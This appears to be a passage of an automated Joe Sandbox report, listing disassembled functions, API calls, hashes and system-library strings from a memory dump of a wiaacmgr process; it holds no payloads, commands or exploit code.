                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_9_2_400000_wiaacmgr.jbxd
                                    Yara matches
                                    Similarity
                                    • API ID: AllocateHeap
                                    • String ID:
                                    • API String ID: 1279760036-0
                                    • Opcode ID: e716bb3c252fc4cbcfa7a7e0af0490f8dff1a761d01086621e6fc778d8b5074f
                                    • Instruction ID: 102fb38936ace6abe376586625e7fd7e82f8077de545ad4e22f249a81123b075
                                    • Opcode Fuzzy Hash: e716bb3c252fc4cbcfa7a7e0af0490f8dff1a761d01086621e6fc778d8b5074f
                                    • Instruction Fuzzy Hash: 67E09AB22002187FC614EF59EC46F9B37ACEFC8754F50401AF908A7241D674B9108BB8
                                    Function 004180B7 Relevance: 1.5, APIs: 1, Instructions: 25COMMON
                                    Download Yara Rule

                                    Control-flow Graph

                                    • Executed
                                    • Not Executed
                                    control_flow_graph 392 4180b7 393 4180b9-4180bd 392->393 393->393 394 4180bf-4180c3 393->394 395 4180cd-4180ea call 421ba0 394->395 396 4180c8 call 401410 394->396 400 4180f3-4180f6 395->400 401 4180ec-4180f1 SetErrorMode 395->401 396->395 401->400
                                    APIs
                                    • SetErrorMode.KERNELBASE(00008003,?,?,00411D10,00427F3F,004255FF,00411CD3), ref: 004180F1
                                    Memory Dump Source
                                    • Source File: 00000009.00000002.2554677862.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: false
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_9_2_400000_wiaacmgr.jbxd
                                    Yara matches
                                    Similarity
                                    • API ID: ErrorMode
                                    • String ID:
                                    • API String ID: 2340568224-0
                                    • Opcode ID: b21f626daeba90264c2d9a7334139c719c230f461576e8d661a2d406feb45480
                                    • Instruction ID: 80d0f96d12c75fb8ac51acd95e8f726c3cc29025020167eb5c62f28b83805aef
                                    • Opcode Fuzzy Hash: b21f626daeba90264c2d9a7334139c719c230f461576e8d661a2d406feb45480
                                    • Instruction Fuzzy Hash: E0E0C2717402043BE100A7A1EC43F963B4C9B88B58F418069F50CEA293EC19E14241AD
                                    Function 004180C0 Relevance: 1.5, APIs: 1, Instructions: 21COMMON
                                    Download Yara Rule

                                    Control-flow Graph

                                    • Executed
                                    • Not Executed
                                    control_flow_graph 407 4180c0-4180ea call 401410 call 421ba0 413 4180f3-4180f6 407->413 414 4180ec-4180f1 SetErrorMode 407->414 414->413
                                    APIs
                                    • SetErrorMode.KERNELBASE(00008003,?,?,00411D10,00427F3F,004255FF,00411CD3), ref: 004180F1
                                    Memory Dump Source
                                    • Source File: 00000009.00000002.2554677862.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: false
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_9_2_400000_wiaacmgr.jbxd
                                    Yara matches
                                    Similarity
                                    • API ID: ErrorMode
                                    • String ID:
                                    • API String ID: 2340568224-0
                                    • Opcode ID: 23441a08af0a50682becd9cdd5ad698be692f839b2dcefc54cdf7ece7ba6f7f5
                                    • Instruction ID: 87c40bc4f10a06ba9ad3216f3f0551fc5cb07e00f7494c8a52caa59ae91ffa67
                                    • Opcode Fuzzy Hash: 23441a08af0a50682becd9cdd5ad698be692f839b2dcefc54cdf7ece7ba6f7f5
                                    • Instruction Fuzzy Hash: 60D05E717403083BE511A6A5DC03F56368C5B88764F458069B908E72D3EC69F54041A9
                                    Function 046C2C0A Relevance: 1.5, APIs: 1, Instructions: 8libraryCOMMONLIBRARYCODE
                                    Download Yara Rule

                                    Control-flow Graph

                                    • Executed
                                    • Not Executed
                                    control_flow_graph 415 46c2c0a-46c2c0f 416 46c2c1f-46c2c26 LdrInitializeThunk 415->416 417 46c2c11-46c2c18 415->417
                                    APIs
                                    Memory Dump Source
                                    • Source File: 00000009.00000002.2555701903.0000000004650000.00000040.00001000.00020000.00000000.sdmp, Offset: 04650000, based on PE: true
                                    • Associated: 00000009.00000002.2555701903.0000000004779000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    • Associated: 00000009.00000002.2555701903.000000000477D000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    • Associated: 00000009.00000002.2555701903.00000000047EE000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_9_2_4650000_wiaacmgr.jbxd
                                    Similarity
                                    • API ID: InitializeThunk
                                    • String ID:
                                    • API String ID: 2994545307-0
                                    • Opcode ID: 6d49067ca0cab331f9b67e7950ef002bcdfba973f06b183907fed29158e7f9a3
                                    • Instruction ID: edadd4b0b05f31cdffcbe9e806de38dca39da4decaabf594147115d3963297a6
                                    • Opcode Fuzzy Hash: 6d49067ca0cab331f9b67e7950ef002bcdfba973f06b183907fed29158e7f9a3
                                    • Instruction Fuzzy Hash: 11B09B75D015D5C5FB51FB60460C7177910ABD0705F19C065D2130751F5738D1D1E175

                                    Non-executed Functions

                                    Function 046C2890 Relevance: 17.7, APIs: 6, Strings: 4, Instructions: 190COMMON
                                    Download Yara Rule
                                    APIs
                                    Strings
                                    Memory Dump Source
                                    • Source File: 00000009.00000002.2555701903.0000000004650000.00000040.00001000.00020000.00000000.sdmp, Offset: 04650000, based on PE: true
                                    • Associated: 00000009.00000002.2555701903.0000000004779000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    • Associated: 00000009.00000002.2555701903.000000000477D000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    • Associated: 00000009.00000002.2555701903.00000000047EE000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_9_2_4650000_wiaacmgr.jbxd
                                    Similarity
                                    • API ID: ___swprintf_l
                                    • String ID: :%u.%u.%u.%u$::%hs%u.%u.%u.%u$::ffff:0:%u.%u.%u.%u$ffff:
                                    • API String ID: 48624451-2108815105
                                    • Opcode ID: a4c3d471f7eb0416b2f9d9e8b424e036b5853fad8856d6e84b07bab5a1095966
                                    • Instruction ID: a4bf5474ca2724070032ab6880b267d437a162ec96718f9991bee8520237de77
                                    • Opcode Fuzzy Hash: a4c3d471f7eb0416b2f9d9e8b424e036b5853fad8856d6e84b07bab5a1095966
                                    • Instruction Fuzzy Hash: 2351D4A5E00116BFDB10DF998C9497EF7B8FB18204B14816DE8A9D7645F234FE449BA0
                                    Function 04732410 Relevance: 17.7, APIs: 6, Strings: 4, Instructions: 189COMMON
                                    Download Yara Rule
                                    APIs
                                    Strings
                                    Memory Dump Source
                                    • Source File: 00000009.00000002.2555701903.0000000004650000.00000040.00001000.00020000.00000000.sdmp, Offset: 04650000, based on PE: true
                                    • Associated: 00000009.00000002.2555701903.0000000004779000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    • Associated: 00000009.00000002.2555701903.000000000477D000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    • Associated: 00000009.00000002.2555701903.00000000047EE000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_9_2_4650000_wiaacmgr.jbxd
                                    Similarity
                                    • API ID: ___swprintf_l
                                    • String ID: :%u.%u.%u.%u$::%hs%u.%u.%u.%u$::ffff:0:%u.%u.%u.%u$ffff:
                                    • API String ID: 48624451-2108815105
                                    • Opcode ID: f79fbe2399e6e3565df7b7170c481734960913492d68af0a825d7e3031f4084c
                                    • Instruction ID: 71b1bc771f40391e234213802b317362b1761b4a9a389550ce56ffc5c0cc0667
                                    • Opcode Fuzzy Hash: f79fbe2399e6e3565df7b7170c481734960913492d68af0a825d7e3031f4084c
                                    • Instruction Fuzzy Hash: B751E271B00645AFDB20DF9CC99097EB7F8AB44206B448499E896D7743EA74FE40CBA0
                                    Function 046B7630 Relevance: 14.2, APIs: 1, Strings: 7, Instructions: 194COMMON
                                    Download Yara Rule
                                    Strings
                                    • CLIENT(ntdll): Found ExecuteOptions = %ws for %wZ in application compatibility database, xrefs: 046F46FC
                                    • CLIENT(ntdll): Processing section info %ws..., xrefs: 046F4787
                                    • ExecuteOptions, xrefs: 046F46A0
                                    • Execute=1, xrefs: 046F4713
                                    • CLIENT(ntdll): Found CheckAppHelp = %d for %wZ in ImageFileExecutionOptions, xrefs: 046F4655
                                    • CLIENT(ntdll): Found Execute=1, turning off execution protection for the process because of %wZ, xrefs: 046F4725
                                    • CLIENT(ntdll): Processing %ws for patching section protection for %wZ, xrefs: 046F4742
                                    Memory Dump Source
                                    • Source File: 00000009.00000002.2555701903.0000000004650000.00000040.00001000.00020000.00000000.sdmp, Offset: 04650000, based on PE: true
                                    • Associated: 00000009.00000002.2555701903.0000000004779000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    • Associated: 00000009.00000002.2555701903.000000000477D000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    • Associated: 00000009.00000002.2555701903.00000000047EE000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_9_2_4650000_wiaacmgr.jbxd
                                    Similarity
                                    • API ID:
                                    • String ID: CLIENT(ntdll): Found CheckAppHelp = %d for %wZ in ImageFileExecutionOptions$CLIENT(ntdll): Found Execute=1, turning off execution protection for the process because of %wZ$CLIENT(ntdll): Found ExecuteOptions = %ws for %wZ in application compatibility database$CLIENT(ntdll): Processing %ws for patching section protection for %wZ$CLIENT(ntdll): Processing section info %ws...$Execute=1$ExecuteOptions
                                    • API String ID: 0-484625025
                                    • Opcode ID: 06ea23834d283c4fa76f9d843bba0e199ed91552920adf65ae4f6f0658b6265d
                                    • Instruction ID: d42464c38dbcec40e3704d88c9ab113c789dfea1e4216534610164eaefdea9f2
                                    • Opcode Fuzzy Hash: 06ea23834d283c4fa76f9d843bba0e199ed91552920adf65ae4f6f0658b6265d
                                    • Instruction Fuzzy Hash: 2A51F9717002196AEF10ABA4DC99FFE73A8EF55305F0400A9D645A7290FB71BE858F94
                                    Function 046CB5EC Relevance: 9.0, APIs: 1, Strings: 4, Instructions: 238COMMON
                                    Download Yara Rule
                                    APIs
                                    Strings
                                    Memory Dump Source
                                    • Source File: 00000009.00000002.2555701903.0000000004650000.00000040.00001000.00020000.00000000.sdmp, Offset: 04650000, based on PE: true
                                    • Associated: 00000009.00000002.2555701903.0000000004779000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    • Associated: 00000009.00000002.2555701903.000000000477D000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    • Associated: 00000009.00000002.2555701903.00000000047EE000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_9_2_4650000_wiaacmgr.jbxd
                                    Similarity
                                    • API ID: __aulldvrm
                                    • String ID: +$-$0$0
                                    • API String ID: 1302938615-699404926
                                    • Opcode ID: 53abcd45f1248799eb7edd6da4205106d70e70754ef1e870ff48280e40c18d32
                                    • Instruction ID: a30a32fe7f2bce827e75819408687923787f07c6c77c5283c4b4709c343298c5
                                    • Opcode Fuzzy Hash: 53abcd45f1248799eb7edd6da4205106d70e70754ef1e870ff48280e40c18d32
                                    • Instruction Fuzzy Hash: E481C030E462598ADF24CE69E8527FEBBB1EF55B10F18411ED861A73D0E734B8418B64
                                    Function 046AF5B0 Relevance: 7.4, APIs: 1, Strings: 3, Instructions: 382COMMON
                                    Download Yara Rule
                                    Strings
                                    • RTL: Re-Waiting, xrefs: 046F031E
                                    • RTL: Pid.Tid %p.%p, owner tid %p Critical Section %p - ContentionCount == %u, xrefs: 046F02E7
                                    • RTL: Enter CriticalSection Timeout (%I64u secs) %d, xrefs: 046F02BD
                                    Memory Dump Source
                                    • Source File: 00000009.00000002.2555701903.0000000004650000.00000040.00001000.00020000.00000000.sdmp, Offset: 04650000, based on PE: true
                                    • Associated: 00000009.00000002.2555701903.0000000004779000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    • Associated: 00000009.00000002.2555701903.000000000477D000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    • Associated: 00000009.00000002.2555701903.00000000047EE000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_9_2_4650000_wiaacmgr.jbxd
                                    Similarity
                                    • API ID:
                                    • String ID: RTL: Enter CriticalSection Timeout (%I64u secs) %d$RTL: Pid.Tid %p.%p, owner tid %p Critical Section %p - ContentionCount == %u$RTL: Re-Waiting
                                    • API String ID: 0-2474120054
                                    • Opcode ID: 10800e0227e6919341a377f4454eec526f7161f9c071be0af3b92e5255c66aa0
                                    • Instruction ID: 5f7910569ace97f20b5ce7fbbe77eb824303d4bdf851de34e71aca622063524f
                                    • Opcode Fuzzy Hash: 10800e0227e6919341a377f4454eec526f7161f9c071be0af3b92e5255c66aa0
                                    • Instruction Fuzzy Hash: 5EE1BE31608B419FD728CF28C884B2AB7E0EB98314F144A6DE5A58B3E1F774F855CB52
                                    Function 046BBED0 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 129COMMON
                                    Download Yara Rule
                                    Strings
                                    • RTL: Re-Waiting, xrefs: 046F7BAC
                                    • RTL: Resource at %p, xrefs: 046F7B8E
                                    • RTL: Acquire Exclusive Sem Timeout %d (%I64u secs), xrefs: 046F7B7F
                                    Memory Dump Source
                                    • Source File: 00000009.00000002.2555701903.0000000004650000.00000040.00001000.00020000.00000000.sdmp, Offset: 04650000, based on PE: true
                                    • Associated: 00000009.00000002.2555701903.0000000004779000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    • Associated: 00000009.00000002.2555701903.000000000477D000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    • Associated: 00000009.00000002.2555701903.00000000047EE000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_9_2_4650000_wiaacmgr.jbxd
                                    Similarity
                                    • API ID:
                                    • String ID: RTL: Acquire Exclusive Sem Timeout %d (%I64u secs)$RTL: Re-Waiting$RTL: Resource at %p
                                    • API String ID: 0-871070163
                                    • Opcode ID: 8702526b793fdedcb30eeffc6c6ebe63919a8d6dba6e5d59b664dac61aed3ff0
                                    • Instruction ID: 054af2d362fdc13f186c04b71a93ae523dbb1bfec66534dd4d08b7584e0b3ac2
                                    • Opcode Fuzzy Hash: 8702526b793fdedcb30eeffc6c6ebe63919a8d6dba6e5d59b664dac61aed3ff0
                                    • Instruction Fuzzy Hash: CB41D3317057029FD720DE25CC40B6AB7E9EF99B11F000A2DE9969B780EB71F4458B91
                                    Function 046BB4C0 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 121COMMON
                                    Download Yara Rule
                                    APIs
                                    • __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 046F728C
                                    Strings
                                    • RTL: Re-Waiting, xrefs: 046F72C1
                                    • RTL: Resource at %p, xrefs: 046F72A3
                                    • RTL: Acquire Shared Sem Timeout %d(%I64u secs), xrefs: 046F7294
                                    Memory Dump Source
                                    • Source File: 00000009.00000002.2555701903.0000000004650000.00000040.00001000.00020000.00000000.sdmp, Offset: 04650000, based on PE: true
                                    • Associated: 00000009.00000002.2555701903.0000000004779000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    • Associated: 00000009.00000002.2555701903.000000000477D000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    • Associated: 00000009.00000002.2555701903.00000000047EE000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_9_2_4650000_wiaacmgr.jbxd
                                    Similarity
                                    • API ID: Unothrow_t@std@@@__ehfuncinfo$??2@
                                    • String ID: RTL: Acquire Shared Sem Timeout %d(%I64u secs)$RTL: Re-Waiting$RTL: Resource at %p
                                    • API String ID: 885266447-605551621
                                    • Opcode ID: b42290de12827213e20ddcd7393878aec8131ca50927d1176f2e144e3b342381
                                    • Instruction ID: 274bb003a91a9bda0306ce7dabb228576cc66a1301e045b900098bacd61ea196
                                    • Opcode Fuzzy Hash: b42290de12827213e20ddcd7393878aec8131ca50927d1176f2e144e3b342381
                                    • Instruction Fuzzy Hash: A4410331701206AFD720DE65CC41F6AB7A5FF54B15F104629FA95AB780FB20F8428BD1
                                    Function 04732300 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 90COMMON
                                    Download Yara Rule
                                    APIs
                                    Strings
                                    Memory Dump Source
                                    • Source File: 00000009.00000002.2555701903.0000000004650000.00000040.00001000.00020000.00000000.sdmp, Offset: 04650000, based on PE: true
                                    • Associated: 00000009.00000002.2555701903.0000000004779000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    • Associated: 00000009.00000002.2555701903.000000000477D000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    • Associated: 00000009.00000002.2555701903.00000000047EE000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_9_2_4650000_wiaacmgr.jbxd
                                    Similarity
                                    • API ID: ___swprintf_l
                                    • String ID: %%%u$]:%u
                                    • API String ID: 48624451-3050659472
                                    • Opcode ID: 6a63e9f5f33624250d7514ad59f0fb893e2d89c8c282436466353ce88c419fab
                                    • Instruction ID: 5e413033fd746fb69aee192a09a8258189bc7e474cef685ca077544d03d1a748
                                    • Opcode Fuzzy Hash: 6a63e9f5f33624250d7514ad59f0fb893e2d89c8c282436466353ce88c419fab
                                    • Instruction Fuzzy Hash: 6E316672A00219AFDB20DE29DC40BEE77B8EB44715F544599E849E3242EB30BA449FA1
                                    Function 046C7D61 Relevance: 5.5, APIs: 1, Strings: 2, Instructions: 284COMMON
                                    Download Yara Rule
                                    APIs
                                    Strings
                                    Memory Dump Source
                                    • Source File: 00000009.00000002.2555701903.0000000004650000.00000040.00001000.00020000.00000000.sdmp, Offset: 04650000, based on PE: true
                                    • Associated: 00000009.00000002.2555701903.0000000004779000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    • Associated: 00000009.00000002.2555701903.000000000477D000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    • Associated: 00000009.00000002.2555701903.00000000047EE000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_9_2_4650000_wiaacmgr.jbxd
                                    Similarity
                                    • API ID: __aulldvrm
                                    • String ID: +$-
                                    • API String ID: 1302938615-2137968064
                                    • Opcode ID: 0e72ee8b5e9315034f2b46ff5b251d52fedc42f24a18d50ff17db184198f4ea1
                                    • Instruction ID: fa22caf05a1b23a00bba1b18dcfc312ad021925220329802f472a4e887674819
                                    • Opcode Fuzzy Hash: 0e72ee8b5e9315034f2b46ff5b251d52fedc42f24a18d50ff17db184198f4ea1
                                    • Instruction Fuzzy Hash: CB917D71E0021BDADB24DE69C881ABEB7A5EF54722F14451EE865AB3C0F730B941CF64
                                    Function 04689126 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 199COMMON
                                    Download Yara Rule
                                    Strings
                                    Memory Dump Source
                                    • Source File: 00000009.00000002.2555701903.0000000004650000.00000040.00001000.00020000.00000000.sdmp, Offset: 04650000, based on PE: true
                                    • Associated: 00000009.00000002.2555701903.0000000004779000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    • Associated: 00000009.00000002.2555701903.000000000477D000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    • Associated: 00000009.00000002.2555701903.00000000047EE000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_9_2_4650000_wiaacmgr.jbxd
                                    Similarity
                                    • API ID:
                                    • String ID: $$@
                                    • API String ID: 0-1194432280
                                    • Opcode ID: 6cbc2eaa32be74f760b63d99daf4c642eb6dcb98723c86cd4af2193ae161ff9f
                                    • Instruction ID: 777f8239d56a754386a1d88c895c9007183388fbc4912279c06a0ec9012cf47e
                                    • Opcode Fuzzy Hash: 6cbc2eaa32be74f760b63d99daf4c642eb6dcb98723c86cd4af2193ae161ff9f
                                    • Instruction Fuzzy Hash: 43812BB1D012699BDB31DF54CC54BEAB7B8AB08714F0042EAE909B7240E7706E85CFA4